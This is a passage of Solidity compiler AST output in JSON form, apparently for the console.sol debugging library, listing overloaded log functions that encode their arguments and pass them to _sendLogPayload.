pure"}},"id":26752,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26820:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26753,"nodeType":"ExpressionStatement","src":"26820:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26741:3:15","parameters":{"id":26741,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26734,"mutability":"mutable","name":"p0","nameLocation":"26753:2:15","nodeType":"VariableDeclaration","scope":26755,"src":"26745:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26733,"name":"uint256","nodeType":"ElementaryTypeName","src":"26745:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26736,"mutability":"mutable","name":"p1","nameLocation":"26762:2:15","nodeType":"VariableDeclaration","scope":26755,"src":"26757:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26735,"name":"bool","nodeType":"ElementaryTypeName","src":"26757:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26738,"mutability":"mutable","name":"p2","nameLocation":"26774:2:15","nodeType":"VariableDeclaration","scope":26755,"src":"26766:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26737,"name":"uint256","nodeType":"ElementaryTypeName","src":"26766:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26740,"mutability":"mutable","name":"p3","nameLocation":"26792:2:15","nodeType":"VariableDeclaration","scope":26755,"src":"26778:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26739,"name":"string","nodeType":"ElementaryTypeName","src":"26778:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26744:51:15"},"returnParameters":{"id":26742,"nodeType":"ParameterList","parameters":[],"src":"26810:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26778,"nodeType":"FunctionDefinition","src":"26925:176:15","nodes":[],"body":{"id":26777,"nodeType":"Block","src":"26994:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c75696e743235362c626f6f6c29","id":26769,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27044:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_91a02e2ac8ae09683fa28beba3fd130b88054c89e51901b8e0510c8e25aa37d1","typeString":"literal_string \"log(uint256,bool,uint256,bool)\""},"value":"log(uint256,bool,uint256,bool)"},{"id":26770,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26757,"src":"27078:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26771,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26759,"src":"27082:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26772,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26761,"src":"27086:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26773,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26763,"src":"27090:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_91a02e2ac8ae09683fa28beba3fd130b88054c89e51901b8e0510c8e25aa37d1","typeString":"literal_string \"log(uint256,bool,uint256,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26767,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27020:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26768,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27024:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27020:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26774,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27020:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26766,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"27004:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26775,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27004:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26776,"nodeType":"ExpressionStatement","src":"27004:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26934:3:15","parameters":{"id":26764,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26757,"mutability":"mutable","name":"p0","nameLocation":"26946:2:15","nodeType":"VariableDeclaration","scope":26778,"src":"26938:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26756,"name":"uint256","nodeType":"ElementaryTypeName","src":"26938:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26759,"mutability":"mutable","name":"p1","nameLocation":"26955:2:15","nodeType":"VariableDeclaration","scope":26778,"src":"26950:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26758,"name":"bool","nodeType":"ElementaryTypeName","src":"26950:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26761,"mutability":"mutable","name":"p2","nameLocation":"26967:2:15","nodeType":"VariableDeclaration","scope":26778,"src":"26959:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26760,"name":"uint256","nodeType":"ElementaryTypeName","src":"26959:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26763,"mutability":"mutable","name":"p3","nameLocation":"26976:2:15","nodeType":"VariableDeclaration","scope":26778,"src":"26971:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26762,"name":"bool","nodeType":"ElementaryTypeName","src":"26971:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"26937:42:15"},"returnParameters":{"id":26765,"nodeType":"ParameterList","parameters":[],"src":"26994:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26801,"nodeType":"FunctionDefinition","src":"27107:182:15","nodes":[],"body":{"id":26800,"nodeType":"Block","src":"27179:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c75696e743235362c6164647265737329","id":26792,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27229:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_88cb6041693b97a5282ad65a65484c065fbc3d3a4dac698c427f5b30bb33b29b","typeString":"literal_string \"log(uint256,bool,uint256,address)\""},"value":"log(uint256,bool,uint256,address)"},{"id":26793,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26780,"src":"27266:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26794,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26782,"src":"27270:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26795,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26784,"src":"27274:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26796,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26786,"src":"27278:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_88cb6041693b97a5282ad65a65484c065fbc3d3a4dac698c427f5b30bb33b29b","typeString":"literal_string \"log(uint256,bool,uint256,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26790,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27205:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26791,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27209:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27205:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26797,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27205:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26789,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"27189:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26798,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27189:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26799,"nodeType":"ExpressionStatement","src":"27189:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27116:3:15","parameters":{"id":26787,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26780,"mutability":"mutable","name":"p0","nameLocation":"27128:2:15","nodeType":"VariableDeclaration","scope":26801,"src":"27120:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26779,"name":"uint256","nodeType":"ElementaryTypeName","src":"27120:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26782,"mutability":"mutable","name":"p1","nameLocation":"27137:2:15","nodeType":"VariableDeclaration","scope":26801,"src":"27132:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26781,"name":"bool","nodeType":"ElementaryTypeName","src":"27132:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26784,"mutability":"mutable","name":"p2","nameLocation":"27149:2:15","nodeType":"VariableDeclaration","scope":26801,"src":"27141:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26783,"name":"uint256","nodeType":"ElementaryTypeName","src":"27141:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26786,"mutability":"mutable","name":"p3","nameLocation":"27161:2:15","nodeType":"VariableDeclaration","scope":26801,"src":"27153:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26785,"name":"address","nodeType":"ElementaryTypeName","src":"27153:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"27119:45:15"},"returnParameters":{"id":26788,"nodeType":"ParameterList","parameters":[],"src":"27179:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26824,"nodeType":"FunctionDefinition","src":"27295:187:15","nodes":[],"body":{"id":26823,"nodeType":"Block","src":"27373:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c737472696e672c75696e7432353629","id":26815,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27423:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2c1d07463509a567bf9962980ac948a2ea7c76a53c189a607b7b35b14e806be8","typeString":"literal_string \"log(uint256,bool,string,uint256)\""},"value":"log(uint256,bool,string,uint256)"},{"id":26816,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26803,"src":"27459:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26817,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26805,"src":"27463:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26818,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26807,"src":"27467:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26819,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26809,"src":"27471:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2c1d07463509a567bf9962980ac948a2ea7c76a53c189a607b7b35b14e806be8","typeString":"literal_string \"log(uint256,bool,string,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26813,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27399:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26814,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27403:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27399:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27399:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26812,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"27383:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26821,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27383:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26822,"nodeType":"ExpressionStatement","src":"27383:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27304:3:15","parameters":{"id":26810,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26803,"mutability":"mutable","name":"p0","nameLocation":"27316:2:15","nodeType":"VariableDeclaration","scope":26824,"src":"27308:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26802,"name":"uint256","nodeType":"ElementaryTypeName","src":"27308:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26805,"mutability":"mutable","name":"p1","nameLocation":"27325:2:15","nodeType":"VariableDeclaration","scope":26824,"src":"27320:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26804,"name":"bool","nodeType":"ElementaryTypeName","src":"27320:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26807,"mutability":"mutable","name":"p2","nameLocation":"27343:2:15","nodeType":"VariableDeclaration","scope":26824,"src":"27329:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26806,"name":"string","nodeType":"ElementaryTypeName","src":"27329:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26809,"mutability":"mutable","name":"p3","nameLocation":"27355:2:15","nodeType":"VariableDeclaration","scope":26824,"src":"27347:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26808,"name":"uint256","nodeType":"ElementaryTypeName","src":"27347:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"27307:51:15"},"returnParameters":{"id":26811,"nodeType":"ParameterList","parameters":[],"src":"27373:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26847,"nodeType":"FunctionDefinition","src":"27488:192:15","nodes":[],"body":{"id":26846,"nodeType":"Block","src":"27572:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c737472696e672c737472696e6729","id":26838,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27622:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_68c8b8bd8cd0cfd8add7c6745840520db0bd1049365ac415de6367b3b79b5ddd","typeString":"literal_string \"log(uint256,bool,string,string)\""},"value":"log(uint256,bool,string,string)"},{"id":26839,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26826,"src":"27657:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26840,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26828,"src":"27661:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26841,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26830,"src":"27665:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26842,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26832,"src":"27669:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_68c8b8bd8cd0cfd8add7c6745840520db0bd1049365ac415de6367b3b79b5ddd","typeString":"literal_string \"log(uint256,bool,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26836,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27598:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26837,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27602:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27598:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26843,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27598:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26835,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"27582:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27582:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26845,"nodeType":"ExpressionStatement","src":"27582:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27497:3:15","parameters":{"id":26833,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26826,"mutability":"mutable","name":"p0","nameLocation":"27509:2:15","nodeType":"VariableDeclaration","scope":26847,"src":"27501:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26825,"name":"uint256","nodeType":"ElementaryTypeName","src":"27501:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26828,"mutability":"mutable","name":"p1","nameLocation":"27518:2:15","nodeType":"VariableDeclaration","scope":26847,"src":"27513:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26827,"name":"bool","nodeType":"ElementaryTypeName","src":"27513:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26830,"mutability":"mutable","name":"p2","nameLocation":"27536:2:15","nodeType":"VariableDeclaration","scope":26847,"src":"27522:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26829,"name":"string","nodeType":"ElementaryTypeName","src":"27522:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26832,"mutability":"mutable","name":"p3","nameLocation":"27554:2:15","nodeType":"VariableDeclaration","scope":26847,"src":"27540:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26831,"name":"string","nodeType":"ElementaryTypeName","src":"27540:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27500:57:15"},"returnParameters":{"id":26834,"nodeType":"ParameterList","parameters":[],"src":"27572:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26870,"nodeType":"FunctionDefinition","src":"27686:181:15","nodes":[],"body":{"id":26869,"nodeType":"Block","src":"27761:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c737472696e672c626f6f6c29","id":26861,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27811:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb928d7f2c458ba40d8ba853c60153b2f73ca9189d4be051103bc8a6c10d45ad","typeString":"literal_string \"log(uint256,bool,string,bool)\""},"value":"log(uint256,bool,string,bool)"},{"id":26862,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26849,"src":"27844:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26863,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26851,"src":"27848:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26864,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26853,"src":"27852:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26865,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26855,"src":"27856:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eb928d7f2c458ba40d8ba853c60153b2f73ca9189d4be051103bc8a6c10d45ad","typeString":"literal_string \"log(uint256,bool,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26859,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27787:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26860,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27791:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27787:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26866,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27787:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26858,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"27771:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26867,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27771:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26868,"nodeType":"ExpressionStatement","src":"27771:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27695:3:15","parameters":{"id":26856,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26849,"mutability":"mutable","name":"p0","nameLocation":"27707:2:15","nodeType":"VariableDeclaration","scope":26870,"src":"27699:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26848,"name":"uint256","nodeType":"ElementaryTypeName","src":"27699:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26851,"mutability":"mutable","name":"p1","nameLocation":"27716:2:15","nodeType":"VariableDeclaration","scope":26870,"src":"27711:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26850,"name":"bool","nodeType":"ElementaryTypeName","src":"27711:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26853,"mutability":"mutable","name":"p2","nameLocation":"27734:2:15","nodeType":"VariableDeclaration","scope":26870,"src":"27720:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26852,"name":"string","nodeType":"ElementaryTypeName","src":"27720:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26855,"mutability":"mutable","name":"p3","nameLocation":"27743:2:15","nodeType":"VariableDeclaration","scope":26870,"src":"27738:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26854,"name":"bool","nodeType":"ElementaryTypeName","src":"27738:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"27698:48:15"},"returnParameters":{"id":26857,"nodeType":"ParameterList","parameters":[],"src":"27761:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26893,"nodeType":"FunctionDefinition","src":"27873:187:15","nodes"